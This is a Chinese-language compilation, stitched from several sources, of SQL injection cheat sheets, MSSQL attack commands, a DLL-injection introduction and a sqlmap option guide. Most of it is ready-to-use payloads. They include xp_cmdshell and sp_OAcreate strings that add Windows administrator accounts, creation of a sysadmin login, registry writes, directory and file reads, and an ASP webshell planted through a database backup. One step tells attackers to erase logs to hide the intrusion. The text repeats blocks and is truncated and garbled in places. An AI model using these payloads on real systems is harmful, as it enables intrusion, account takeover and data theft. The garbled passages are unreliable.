常用的一些注入命令
常用SQL注入代码
常用SQL注入代码文章分类:数据库//看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') asvarchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)%2BCast(HAS_DBACCESS('master') asvarchar(1))%2Bchar(124)=1 --数字类型and char(124)%2Buser%2Bchar(124)=0字符类型' and char(124)%2Buser%2Bchar(124)=0 and ''='搜索类型' and char(124)%2Buser%2Bchar(124)=0 and '%'='爆用户名and user>0' and user>0 and ''='检测是否为SA权限and 1=(select IS_SRVROLEMEMBER('sysadmin'));--Andchar(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --检测是不是MSSQL数据库and exists (select * from sysobjects);--检测是否支持多行;declare @d int;--恢复 xp_cmdshell;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--select * fromopenrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf' ,'select @@version')//-----------------------// 执行命令//-----------------------首先开启沙盘模式:exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1然后利用jet.oledb执行系统命令select * fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias \ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')执行命令;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'判断xp_cmdshell扩展存储过程是否存在:http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')写注册表exec master..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1REG_SZ读注册表exec master..xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon','Userinit'读取目录内容exec master..xp_dirtree 'c:\winnt\system32\',1,1数据库备份backup database pubs to disk = 'c:\123.bak'//爆出长度And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--更改sa口令方法:用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'添加和删除一个SA权限的用户test:exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句:exec sp_dropextendedproc 'xp_cmdshell'添加扩展存储过过程EXEC [master]..sp_addextendedproc 'xp_proxiedadata','c:\winnt\system32\sqllog.dll'GRANT exec On xp_proxiedadata TO public停掉或激活某个服务。
sql注入步骤
sql注入步骤
SQL注入是一种常见的网络攻击方式,攻击者通过在输入框中输入特殊字符,从而欺骗系统执行恶意的SQL语句。
以下是SQL注入的步骤:
1. 收集目标网站的信息:攻击者需要了解目标网站的数据库类型、表结构、字段名称等信息,这些信息可以通过网络爬虫、端口扫描、SQLmap等工具获取。
2. 找到注入点:攻击者需要在目标网站的输入框中寻找可注入的点,通常是通过输入一些特殊字符来观察网站的响应,如果响应异常则说明存在注入点。
3. 构造注入语句:攻击者需要构造恶意的SQL语句,以获取或篡改数据库中的数据。
常见的注入语句包括SELECT、UPDATE、DELETE、INSERT等操作。
4. 执行注入语句:攻击者将构造好的注入语句插入到输入框中,并提交给目标网站。
如果注入成功,攻击者就能够获取或篡改数据库中的数据。
5. 掩盖攻击痕迹:攻击者需要在攻击后清除攻击痕迹,以避免被发现。
常见的掩盖方式包括删除日志、修改数据库记录等操作。
总之,SQL注入是一种非常危险的攻击方式,可以导致数据库中的数据被盗取或篡改,给企业和个人带来极大的损失。
因此,网站开发者需要加强对输入框的
过滤和验证,以防止SQL注入攻击。
阿D之注入常用口令
写注册表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
REG_SZ
读注册表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
读取目录内容
exec master..xp_dirtree 'c:\winnt\system32\',1,1
数据库备份
backup database pubs to disk = 'c:\123.bak'
//爆出长度
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
检测是不是MSSQL数据库
and exists (select * from sysobjects);--
检测是否支持多行
;declare @d int;--
恢复 xp_cmdshell
;exec mmdshell','xplog70.dll';--
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
sql注入常用命令
sql注⼊常⽤命令1.判断是否有注⼊;and 1=1;and 1=22.初步判断是否是mssql;and user>03.判断数据库系统;and (select count(*) from sysobjects)>0 mssql;and (select count(*) from msysobjects)>0 access4.注⼊参数是字符'and [查询条件] and ''='5.搜索时没过滤参数的'and [查询条件] and '%25'='6.猜数表名;and (select Count(*) from [表名])>07.猜字段;and (select Count(字段名) from 表名)>08.猜字段中记录长度;and (select top 1 len(字段名) from 表名)>09.(1)猜字段的ascii值(access);and (select top 1 asc(mid(字段名,1,1)) from 表名)>0(2)猜字段的ascii值(mssql);and (select top 1 unicode(substring(字段名,1,1)) from 表名)>010.测试权限结构(mssql);and 1=(select IS_SRVROLEMEMBER('sysadmin'));--;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--;and 1=(select IS_MEMBER('db_owner'));--11.添加mssql和系统的帐户;exec master.dbo.sp_addlogin username;--;exec master.dbo.sp_password null,username,password;--;exec master.dbo.sp_addsrvrolemember sysadmin username;--;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes/add';--;exec master.dbo.xp_cmdshell 'net user username password /add';--;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--12.(1)遍历⽬录;create table dirs(paths varchar(100), id int);insert dirs exec master.dbo.xp_dirtree 'c:\';and (select top 1 paths from dirs)>0;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)(2)遍历⽬录;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得⼦⽬录列表;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有⼦⽬录的⽬录树结构;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看⽂件的内容13.mssql中的存储过程xp_regenumvalues 注册表根键, ⼦键;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集⽅式返回所有键值xp_regread 根键,⼦键,键值名;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值xp_regwrite 根键,⼦键, 值名, 值类型, 值值类型有2种REG_SZ 表⽰字符型,REG_DWORD 表⽰整型;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写⼊注册表xp_regdeletevalue 根键,⼦键,值名exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值14.mssql的backup创建webshelluse modelcreate table cmd(str image);insert into cmd(str) values ('<% Dim oScript %>');backup database model to disk='c:\l.asp';15.mssql内置函数;and (select @@version)>0 获得Windows的版本号;and user_name()='dbo' 判断当前系统的连接⽤户是不是sa;and (select user_name())>0 爆当前系统的连接⽤户;and (select db_name())>0 得到当前连接的数据库MSSQL⼿注暴库1.暴出当前表名和列名在注⼊点后提交“'having 1=1--",得到返回信息为英⽂,在这段英⽂中即可看到⼀个表名和⼀个列名。
常见sql注入的类型
常见sql注⼊的类型这⾥只讲解sql注⼊漏洞的基本类型,代码分析将放在另外⼀篇帖⼦讲解⽬录最基础的注⼊-union注⼊攻击Boolean注⼊攻击-布尔盲注报错注⼊攻击时间注⼊攻击-时间盲注堆叠查询注⼊攻击⼆次注⼊攻击宽字节注⼊攻击base64注⼊攻击cookie注⼊攻击-http请求头参数注⼊XFF注⼊攻击-http请求头参数注⼊知道绝对路径的注⼊0x01最基础的注⼊-union注⼊攻击1. 判断是get型还是post型注⼊;2. 找到正确的闭合规则;3. order by 查询字段数;4. union select 1,2.....查看显⽰位是第⼏位,没有的话就试试把id=1的显⽰位让出来,让其等于id=-1;5. 第⼆、三位显⽰出来了,那么即可在这两个位置写⼊sql语句;6. 查询当前数据库,当前mysql⽤户 union select 1,user(),database();7. 查询当前数据库⾥⾯的表 union select 1,2,group_concat(table_name) from information_schema.tables wheretable_schema="data_name";8. 查询到敏感表名user,继续查询表⾥⾯的字段 union select 1,2,group_concat(column_name) from information_schema.columnswhere table_name="user";9. 查询字段,例如“id”、"passwd"的内容 union select 1,id,passwd from user;10. 拿到⽤户、密码登⼊后台。
0x02 Boolean注⼊攻击-布尔盲注查看现象,能报错,但没有报错信息,正确查询也显⽰不了查询内容就属于布尔盲注,只存在两种状态,对或错;由页⾯的两种不同返回的状态来判定我们的闭合规则;为了⽅便,我们这⾥假设返回正确⽤“yes”,返回错误⽤“no”来表⽰这两种状态找到闭合规则后,我们在闭合规则⾥⾯ and 1=1 和 and 1=2 测试⼀下,看看最后返回是不是两种状态;布尔盲注要⽤到length()和substr()语句,⽤两种状态来猜解数据库、表名等的长度和正确字母;先⽤ and length(database())>2来猜数据库的长度,使⽤的是⼆分法;再⽤ and substr(database(),1,1)='t'来确定第⼀个字母,可⽤burp跑,26个字母,哪个字母返回yes则代表第⼀个字母就是它;and substr(database(),2,1)='t' 代表当前数据库的第⼆个字母;最后结合长度,成功的将数据库猜解出来;后⾯的操作跟union注⼊的步骤差不多了,只是sql语句写在上⽂的 database() 处。
DLL的11种注入方法
闲着没事整理了一下DLL的N种注入方法,对学习外挂的朋友,应该有用!第一种方法:利用CreateRemoteThread 远程建立线程的方式注入DLL.首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的.function EnableDebugPriv : Boolean;varhToken : THANDLE;tp : TTokenPrivileges;rl : Cardinal;beginresult := false;//打开进程令牌环OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);//获得进程本地唯一IDif LookupPrivilegeValue(nil, 'SeDebugPrivilege',tp.Privileges[0].Luid) thenbegintp.PrivilegeCount := 1;tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;//调整权限result := AdjustTokenPrivileges(hToken, False, tp,sizeof(tp), nil, rl);end;end;关于OpenProcessToken() 和AdjustTokenPrivileges() 两个API的简单介绍:OpenProcessToken():获得进程访问令牌的句柄.function OpenProcessToken(ProcessHandle: THandle; //要修改访问权限的进程句柄DesiredAccess: DWORD; //指定你要进行的操作类型var TokenHandle: THandle): BOOL; //返回的访问令牌指针AdjustTokenPrivileges() :调整进程的权限.function AdjustTokenPrivileges(TokenHandle: THandle; // 访问令牌的句柄DisableAllPrivileges: BOOL; // 决定是进行权限修改还是除能(Disable)所有权限const NewState: TTokenPrivileges; // 指明要修改的权限,是一个指向TOKEN_PRIVILEGES结构的指针,该结构包含一个数组,数据组的每个项指明了权限的类型和要进行的操作;BufferLength: DWORD; //结构PreviousState的长度,如果PreviousState为空,该参数应为0var PreviousState: TTokenPrivileges; // 指向TOKEN_PRIVILEGES结构的指针,存放修改前的访问权限的信息var ReturnLength: DWORD //实际PreviousState结构返回的大小) : BOOL;远程注入DLL其实是通过CreateRemoteThread 建立一个远程线程调用LoadLibrary 函数来加载我们指定的DLL,可是如何能让远程线程知道我要加载DLL呢,要知道在Win32系统下,每个进程都拥有自己的4G虚拟地址空间,各个进程之间都是相互独立的。
黑客常用注入代码
黑客常用的注入代码//看看是什么权限的and 1=(Select IS_MEMBER('db_owner'))And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--//检测是否有读取某数据库的权限and 1= (Select HAS_DBACCESS('master'))And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 -- 数字类型and char(124)%2Buser%2Bchar(124)=0字符类型' and char(124)%2Buser%2Bchar(124)=0 and ''='搜索类型' and char(124)%2Buser%2Bchar(124)=0 and '%'='爆用户名and user>0' and user>0 and ''='检测是否为SA权限and 1=(select IS_SRVROLEMEMBER('sysadmin'));--And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E 00) as varchar(1))%2Bchar(124)=1 --检测是不是MSSQL数据库and exists (select * from sysobjects);--检测是否支持多行;declare @d int;--恢复xp_cmdshell;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpa f','select @@version')//-----------------------// 执行命令//-----------------------首先开启沙盘模式:exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Eng ines','SandBoxMode','REG_DWORD',1然后利用jet.oledb执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\i as.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')执行命令;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_O AMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf / add';--EXEC .. 'cmd /c md c:\1111'判断xp_cmdshell扩展存储过程是否存在:http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.db o.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')写注册表exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Eng ines','SandBoxMode','REG_DWORD',1REG_SZ读注册表exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows N T\CurrentVersion\Winlogon','Userinit'读取目录内容exec master..xp_dirtree 'c:\winnt\system32',1,1数据库备份backup database pubs to disk = 'c:\123.bak'//爆出长度And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_T mp)=0 ;--更改sa口令方法:用sql综合利用工具连接后,执行命令:exec sp_password NULL,'新密码','sa'添加和删除一个SA权限的用户test:exec master.dbo.sp_addlogin test,ptloveexec master.dbo.sp_addsrvrolemember test,sysadmin删除扩展存储过过程xp_cmdshell的语句:exec sp_dropextendedproc 'xp_cmdshell'添加扩展存储过过程EXEC ..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' GRANT exec On xp_proxiedadata TO public停掉或激活某个服务。
sql注入插入语句
sql注入插入语句SQL注入是一种常见的网络攻击手段,通过在用户输入的数据中注入恶意的SQL代码,从而达到绕过应用程序的验证和控制,进而对数据库进行非法操作的目的。
本文将针对SQL注入的插入语句进行列举,并对每个语句进行详细解析,以帮助读者理解SQL注入的原理和防范方法。
1. 插入语句:INSERT INTO users (username, password) VALUES ('admin', '123456');--解析:这是一个简单的插入语句,向名为users的表中插入一条记录,包含用户名和密码。
由于注入点在VALUES关键字后面,因此可以通过注入语句绕过对密码的合法性验证。
2. 插入语句:INSERT INTO users (username, password) VALUES ('admin', '123456'); DROP TABLE users;--解析:这个注入语句不仅插入了一条用户名为admin,密码为123456的记录,还通过注入语句删除了users表。
这是一种非常危险的注入方式,可以导致数据丢失和应用程序崩溃。
3. 插入语句:INSERT INTO users (username, password) VALUES ('admin', '123456'); SELECT * FROM users;--解析:这个注入语句插入了一条记录后,通过注入语句查询了users表的所有记录。
这种注入方式可以用于获取敏感信息,如用户的密码和其他个人数据。
4. 插入语句:INSERT INTO users (username, password) VALUES ('admin', '123456'); UNION SELECT username, password FROM admin;--解析:这个注入语句插入了一条记录后,通过UNION关键字进行了数据联合查询,将admin表中的用户名和密码添加到了查询结果中。
sql注入的方法
SQL注入的方法SQL注入是一种常见的Web应用程序安全漏洞,攻击者通过在应用程序接受用户输入的地方注入恶意的SQL代码,从而可以执行任意的SQL语句。
这种漏洞可能导致数据库被非法访问、数据泄露甚至整个系统被完全控制。
在本文中,我们将介绍SQL注入的方法,并提供一些预防措施。
1. 基于用户输入的SQL注入最常见的SQL注入类型是基于用户输入的注入。
攻击者通过修改用户输入的数据来执行恶意的SQL查询。
下面是一些常见的用户输入注入的方法:1.1 嵌入式SQL注入嵌入式SQL注入是通过在用户输入的字符串中插入额外的SQL代码来实现的。
例如,考虑以下的用户输入表单:SELECT * FROM products WHERE product_name = '$user_input';攻击者可以通过在$user_input中插入额外的代码来执行任意的SQL查询。
例如,如果用户输入' OR '1'='1,那么SQL查询会变成:SELECT * FROM products WHERE product_name = '' OR '1'='1';这将导致数据库返回所有的产品记录,因为'1'='1'始终为真。
1.2 盲注入盲注入是一种注入方式,攻击者无法直接获取查询结果,但可以根据应用程序对不同查询结果的响应来判断查询结果是否为真。
通常,攻击者会使用布尔逻辑来判断查询结果是否为真。
例如,攻击者可以使用以下查询:SELECT * FROM users WHERE username = 'admin' AND password LIKE '$password%';攻击者可以通过猜测$password的值来判断密码的正确性。
例如,攻击者可以使用以下查询:SELECT * FROM users WHERE username = 'admin' AND password LIKE 'a%' -- ';如果应用程序对于存在用户的情况返回不同的响应,那么攻击者可以根据响应时间或页面内容来推断密码的正确性。
mysql sql注入语句
mysql sql注入语句SQL注入是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而对数据库进行非法操作。
本文将列举10个常见的MySQL SQL注入语句,并对其进行简要介绍,以帮助开发人员和管理员更好地了解和防范SQL注入攻击。
1. UNION注入UNION注入是最常见的SQL注入攻击之一。
攻击者利用UNION 操作符将恶意的SQL语句合并到原始查询中,从而绕过输入验证并获取敏感信息。
例如:```SELECT username, password FROM users WHERE username = 'admin' UNION SELECT credit_card_number, '' FROM credit_cards;```上述注入语句将会返回用户表中用户名为'admin'的记录的用户名和密码,同时还会返回信用卡表中所有信用卡号码。
2. 注释符注入注释符注入是通过在注释符号(如--或#)后插入恶意代码来实现的。
这种注入方式可以绕过常规的输入验证。
例如:```SELECT * FROM users WHERE username = 'admin' -- ' AND password = '123456';```上述注入语句中,--后的所有内容都会被注释掉,攻击者将有效的SQL代码插入到了查询中,绕过了密码验证。
3. 布尔注入布尔注入是利用数据库在逻辑判断中的真假返回结果来判断注入点的技术。
通过构造不同的条件语句,攻击者可以逐位猜测数据库中数据的值。
例如:```SELECT * FROM users WHERE username = 'admin' AND ASCII(SUBSTRING(password,1,1)) > 100;```上述注入语句中,使用ASCII函数将密码的第一个字符转换为ASCII码,并判断是否大于100。
SQL注入常用命令
SQL注⼊常⽤命令1. 数据库查询版本Mssql select @@versionMysql select vresion()/select @@versionoracle select banner from ¥versionPostgresql select version()2. 数据库常⽤命令库操作连接数据库 mysql -u ⽤户名 -p创建数据库:create database 数据库名称、删除数据库 drop database 数据库名称、列出数据库 show databases使⽤数据据库 use 数据库名称、查看当前数据库 select database()表操作新建表create table 表名(键 varchar(10),键int(10))列出表 show tables删除表 delete 表名数据操作增加数据insert into 表名(键,键)values(值,值)删除数据 delete from 表名 where 键=值(删除某⼀⾏数据)修改数据 updata 表名 set 键 = 值 where 键=值查询数据 select * fom 表名存放数据库 information_ schema(存放schemata、 table、columns等等)存放数据库名 schemata表 table字段 columns3. SQL⼿⼯注⼊步骤注⼊点寻找判断请求⽅式浏览器F12 点⽹络单引号闭合’ ‘数字单引号括号闭合(’ ‘)双引号括号闭合(“ ”)or 1=1or 1=2and 1=1and 1=2数字型注⼊加单引号错误出异常and 1=1 正常and 1=2 异常字符型注⼊加单引号错误出异常and ‘1’ = '1 正常and ‘1’ = '2 异常判断字段长度order by 数字可以判断字段的个数也可以⽤猜字段 union select 1,2,3判断字段回显位置在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】进⾏联合查询(联合查询时记得把前⾯的查询为空)来暴露可查询的字段号。
渗透常用SQL注入语句大全
渗透常用S Q L注入语句大全Document number:WTWYT-WYWY-BTGTT-YTTYU-2018GT1.判断有无注入点;and1=1and1=22.猜表一般的表的名称无非是adminadminuseruserpasspassword 等..and0<>(selectcount(*)from*)and0<>(selectcount(*)fromadmin)—判断是否存在admin 这张表3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个and0<(selectcount(*)fromadmin)and1<(selectcount(*)fromadmin)4.猜解字段名称在len()括号里面加上我们想到的字段名称.1 2 3 and 1=(selectcount(*)fromadminwherelen(*)>0)–and 1=(selectcount(*)fromadminwherelen(用户字段名称name)>0) and 1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0) 5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止1 2 3 4 5 6 78 and 1=(selectcount(*)fromadminwherelen(*)>0)and 1=(selectcount(*)fromadminwherelen(name)>6)错误 and 1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6 and 1=(selectcount(*)fromadminwherelen(name)=6)正确 and 1=(selectcount(*)fromadminwherelen(password)>11)正确 and 1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12 and 1=(selectcount(*)fromadminwherelen(password)=12)正确6.猜解字符and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位 and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)–这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC 码就OK.最后把结果再转换成字符.1 2 3 4 5 6 7 8 9 =1,,,=1–;insertintousersvalues(666,attacker,foobar,0xffff )– UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab le-UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id)-UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab leWhereCOLUMN_blank>_NAMENOTIN(login_blank>_id,login_blank>_name)- UNIONSelectTOP 1login_blank>_nameFROMlogintable-UNIONSelectTOP 1passwordFROMlogintablewherelogin_blank>_name=Rahul –看_blank>服务器打的补丁=出错了打了SP4补丁and1=(select@@VERSION)–看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin 权限。
注入神器sqlmap命令大全
注⼊神器sqlmap命令⼤全详解强⼤的SQL注⼊⼯具——SQLMAP Akast [N.S.T] 1. 前⾔Windows下的注⼊⼯具好的⼜贵,免费的啊D、明⼩⼦等⼜不好⽤,我们根本没必要花时间去找什么破解的havij、pangolin什么的,特别是破解的⼯具很可能被绑了⽊马。
其实 Linux下的注⼊⼯具也是⾮常强⼤的,不过分的说,可以完全取代Windows下⾯的所有注⼊⼯具。
就如backtrack系统⾥⾯就有⾮常丰富的注⼊⼯具,对MSSQL、MYSQL、oracle等各种数据库的应有尽有了,⽽且这些⼯具都是免费的,并且是开放源代码的,我们还可以⽤来修改为合适⾃⼰使⽤的注⼊⼯具。
本⽂给⼤家介绍的SqlMap是⼀个开放源码的渗透测试⼯具,它可以⾃动探测和利⽤SQL 注⼊漏洞来接管数据库服务器。
它配备了⼀个强⼤的探测引擎,为最终渗透测试⼈员提供很多猥琐的功能,可以拖库,可以访问底层的⽂件系统,还可以通过带外连接执⾏操作系统上的命令。
2. SQLMAP命令详解为了⽅便使⽤我把sqlmap的选项都翻译出来了,当然可能会存在⼀些不恰当的地⽅,请⼤家指出,可以给我发邮件:akast@。
如果我有时间会把这个⼯具出个中⽂版。
Options(选项):--version 显⽰程序的版本号并退出 -h, --help 显⽰此帮助消息并退出 -v VERBOSE 详细级别:0-6(默认为1)Target(⽬标):以下⾄少需要设置其中⼀个选项,设置⽬标URL。
-d DIRECT 直接连接到数据库。
-u URL, --url=URL ⽬标URL。
-l LIST 从Burp或WebScarab代理的⽇志中解析⽬标。
-r REQUESTFILE 从⼀个⽂件中载⼊HTTP请求。
-g GOOGLEDORK 处理Google dork的结果作为⽬标URL。
-c CONFIGFILE 从INI配置⽂件中加载选项。
Request(请求)::这些选项可以⽤来指定如何连接到⽬标URL。
orderby注入的方法
orderby注入的方法注入攻击是一种常见的网络安全漏洞,攻击者通过在输入的数据中插入恶意代码来执行非法操作。
其中最常见的注入攻击是SQL注入和命令注入。
下面是一些常见的orderby注入方法及相关防护措施。
1.SQL注入SQL注入是指攻击者通过在SQL查询语句中插入恶意代码来实现非法操作。
常见的SQL注入攻击包括利用orderby注入造成的盲注和报错注入。
- 盲注:攻击者通过不断改变orderby子句中的条件,根据返回结果的变化判断查询语句的执行结果。
例如,攻击者可以尝试改变`ORDER BY`子句中的字段名称,并观察页面的返回结果是否改变。
防护措施:-使用预编译语句或参数化查询,确保输入的数据被正确地转义和处理。
-限制数据库用户的权限,避免使用具有过高权限的用户账号来执行SQL查询。
-检查输入的数据是否符合预期格式,并对其进行验证和过滤。
-对用户输入进行安全编码,例如使用特殊字符转义函数或过滤函数。
-定期更新数据库软件,确保使用的是最新的版本,以修复已知的漏洞。
2.命令注入命令注入是指攻击者通过在系统命令中插入恶意代码来执行非法操作。
OrderBy注入可以在一些特定的应用场景下利用命令注入漏洞。
- 例子:假设一个Web应用程序,用户可以通过在Web界面中输入ping命令来测试网络连接。
这个应用程序没有对用户输入进行过滤和验证,攻击者可以通过在输入中插入恶意代码来执行其他任意的命令。
例如,攻击者可以尝试输入`127.0.0.1; ls -l`来执行ls命令查看服务器上的文件列表。
防护措施:-针对不同应用场景,检查用户输入是否符合预期格式,并进行验证和过滤。
-不建议将用户输入作为系统命令的一部分直接执行,可以使用可信的命令执行函数或工具进行处理。
-对用户输入进行安全编码,例如使用特殊字符转义函数或过滤函数。
-定期更新系统软件,确保使用的是最新的版本,以修复已知的漏洞。
总结:无论是SQL注入还是命令注入,重要的是要对用户输入进行严格的过滤和验证,确保输入的数据符合预期格式,并针对不同的应用场景采取相应的安全措施。
sqlmap常用指令和参数
sqlmap常用指令和参数1. 什么是sqlmapSQLMap是一款开源的自动化SQL注入工具,用于检测和利用Web应用程序中的SQL 注入漏洞。
它具有强大的功能和灵活的配置选项,可以帮助安全测试人员自动化地发现和利用SQL注入漏洞。
2. 安装和配置sqlmap2.1 安装sqlmap在Linux系统上,可以使用以下命令安装sqlmap:sudo apt-get install sqlmap在Windows系统上,可以从sqlmap的官方网站()下载最新版本的压缩包,然后解压到任意目录即可。
2.2 配置sqlmapsqlmap的配置文件是一个名为sqlmap.conf的文件,位于sqlmap的根目录下。
可以使用文本编辑器打开该文件进行配置。
在配置文件中,可以设置一些常用的选项,如数据库类型、代理设置、User-Agent 等。
根据实际需要进行配置。
3. sqlmap常用指令和参数sqlmap提供了丰富的指令和参数,用于执行不同类型的SQL注入测试。
下面介绍一些常用的指令和参数。
3.1 基本指令•--url: 指定目标URL进行注入测试,例如--url=•--data: 指定POST请求的数据进行注入测试,例如--data="username=admin&password=123"•--cookie: 指定Cookie进行注入测试,例如--cookie="PHPSESSID=123456789"•--referer: 指定Referer头进行注入测试,例如--referer=""3.2 注入检测•-u: 简化版的--url参数,用于指定目标URL•-r: 简化版的--data参数,用于指定POST请求的数据•-p: 指定要测试的参数,例如-p id•--level: 指定测试的深度,范围是1到5,默认为1•--risk: 指定测试的风险级别,范围是1到3,默认为13.3 数据库指纹识别•--dbs: 获取数据库名称•--tables: 获取指定数据库中的表名,例如--tables -D dbname•--columns: 获取指定表中的列名,例如--columns -D dbname -T tablename3.4 数据获取和操作•--dump: 获取指定表中的数据,例如--dump -D dbname -T tablename•--file-read: 读取文件内容,例如--file-read="/etc/passwd"•--file-write: 写入文件内容,例如--file-write="/var/www/html/index.php"--file-dest="/tmp/backdoor.php"3.5 执行操作•--os-shell: 在目标系统上执行命令,例如--os-shell•--sql-shell: 在目标数据库上执行SQL语句,例如--sql-shell•--os-pwn: 获取目标系统的操作权限,例如--os-pwn4. 示例以下是一个使用sqlmap进行注入测试的示例:sqlmap -u "" --level=2 --risk=3该命令将对``进行注入测试,测试的深度为2,风险级别为3。
sqlmap 常用口令
sqlmap 常用口令1. 简介sqlmap 是一款开源的自动化 SQL 注入工具,用于检测和利用 Web 应用程序中的SQL 注入漏洞。
通过对目标网站进行渗透测试,sqlmap 可以帮助安全测试人员识别并利用 SQL 注入漏洞,从而获取敏感信息、绕过身份验证、执行操作系统命令等。
2. 安装你可以从 sqlmap 的官方网站 [ 下载最新版本的 sqlmap。
sqlmap 支持多个操作系统,包括 Windows、Linux 和 Mac OS X。
下载完成后,解压缩文件到你选择的目录,并确保已经安装了 Python 2.7 版本或更高版本。
3. 使用方法3.1 基本命令格式使用 sqlmap 的基本命令格式如下:python sqlmap.py [options]3.2 常用选项以下是 sqlmap 中一些常用的选项:•-u:指定目标 URL 进行测试。
•-p:指定要测试的参数。
